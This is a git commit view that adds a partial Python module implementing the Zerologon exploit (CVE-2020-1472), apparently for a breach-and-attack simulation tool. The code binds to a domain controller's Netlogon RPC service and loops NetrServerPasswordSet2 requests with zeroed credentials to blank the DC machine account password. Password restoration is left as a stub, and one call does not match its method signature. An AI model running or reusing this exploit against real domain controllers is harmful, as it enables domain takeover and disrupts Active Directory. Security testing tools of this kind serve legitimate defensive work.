Partially add Zerologon exploiter

This commit is contained in:
Shreya 2020-12-28 00:00:39 +05:30
parent 2cc0a159e0
commit 9468de471d
1 changed files with 85 additions and 0 deletions

View File

@ -0,0 +1,85 @@
"""
Zerologon, CVE-2020-1472
Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/.
"""
import logging
from impacket.dcerpc.v5 import epm, nrpc, transport
from infection_monkey.network.windowsserver_fingerprint import ZerologonFinger
LOG = logging.getLogger(__name__)
class ZerologonExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
_EXPLOITED_SERVICE = 'Netlogon'
def __init__(self, host):
super().__init__(host)
self.vulnerable_port = None
def _exploit_host(self):
MAX_ATTEMPTS = 2000
zerologon_finger = ZerologonFinger()
DC_IP = self.host.ip
DC_NAME = zerologon_finger.get_dc_name(DC_IP)
DC_HANDLE = '\\\\' + DC_NAME
if zerologon_finger.get_host_fingerprint(self.host): # exploitable
LOG.info("Target vulnerable, changing account password to empty string")
# Connect to the DC's Netlogon service.
binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
protocol='ncacn_ip_tcp')
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
# Start exploiting attempts.
# Max attempts = 2000. Expected average number of attempts needed: 256.
result = None
for _ in range(0, MAX_ATTEMPTS):
try:
result = attempt_exploit(DC_HANDLE, rpc_con, DC_NAME)
except nrpc.DCERPCSessionError as ex:
# Failure should be due to a STATUS_ACCESS_DENIED error.
# Otherwise, the attack is probably not working.
if ex.get_error_code() != 0xc0000022:
LOG.info(f"Unexpected error code from DC: {ex.get_error_code()}")
except BaseException as ex:
LOG.info(f"Unexpected error: {ex}")
if result is not None:
break
LOG.debug(f"Result error code: {result['ErrorCode']}")
if result['ErrorCode'] == 0:
LOG.info("Exploit complete!")
else:
LOG.info("Non-zero return code, something went wrong.")
# how do i execute monkey on the exploited machine?
# restore password
else:
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
def attempt_exploit(self, DC_HANDLE, rpc_con, TARGET_COMPUTER):
request = nrpc.NetrServerPasswordSet2()
request['PrimaryName'] = DC_HANDLE + '\x00'
request['AccountName'] = TARGET_COMPUTER + '$\x00'
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator['Credential'] = b'\x00' * 8
authenticator['Timestamp'] = 0
request['Authenticator'] = authenticator
request['ComputerName'] = TARGET_COMPUTER + '\x00'
request['ClearNewPassword'] = b'\x00' * 516
return rpc_con.request(request)
def restore_password(self):
# get nthash using secretsdump and then restore password
pass